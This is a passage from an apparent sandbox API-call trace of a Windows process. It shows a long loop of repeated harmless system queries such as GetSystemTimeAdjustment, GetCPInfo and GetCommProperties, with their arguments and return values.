lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.654] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.654] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.654] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.654] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.654] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.654] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.654] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.654] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.654] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.654] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.654] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.654] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.654] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.654] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.654] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.654] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.654] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.654] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.654] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.654] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.654] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.654] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.654] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.654] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.654] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.654] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.654] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.654] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.655] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.655] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.655] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.655] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.655] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.655] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.655] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.655] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.655] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.655] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.655] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.655] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.655] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.655] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.655] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.655] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.655] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.655] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.655] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.655] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.655] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.655] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.655] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.655] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.655] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.655] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.655] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.656] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.656] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.656] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.656] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.656] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.656] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.656] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.656] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.656] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.656] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.656] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.656] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.656] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.656] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.656] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.656] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.656] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.656] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.656] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.656] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.656] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.656] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.656] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.656] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.656] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.656] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.656] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.656] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.656] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.656] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.656] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.656] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.656] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.657] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.657] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.657] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.657] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.657] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.704] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.704] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.704] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.704] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.704] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.704] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.704] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.704] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.704] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.704] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.704] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.704] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.704] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.704] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.704] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.704] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.704] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.704] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.704] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.704] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.704] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.704] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.704] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.704] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.705] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.705] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.705] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.705] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.705] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.705] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.705] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.705] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.705] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.705] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.705] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.705] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.705] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.705] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.705] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.705] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.705] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.705] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.705] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.705] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.705] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.705] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.705] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.705] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.705] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.705] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.705] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.705] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.705] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.705] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.705] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.705] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.705] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.705] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.706] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.706] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.706] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.706] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.706] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.706] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.706] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.706] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.706] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.706] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.706] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.706] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.706] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.706] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.706] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.706] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.706] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.706] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.706] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.706] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.706] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.706] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.706] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.706] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.706] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.706] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.706] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.706] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.706] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.706] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | 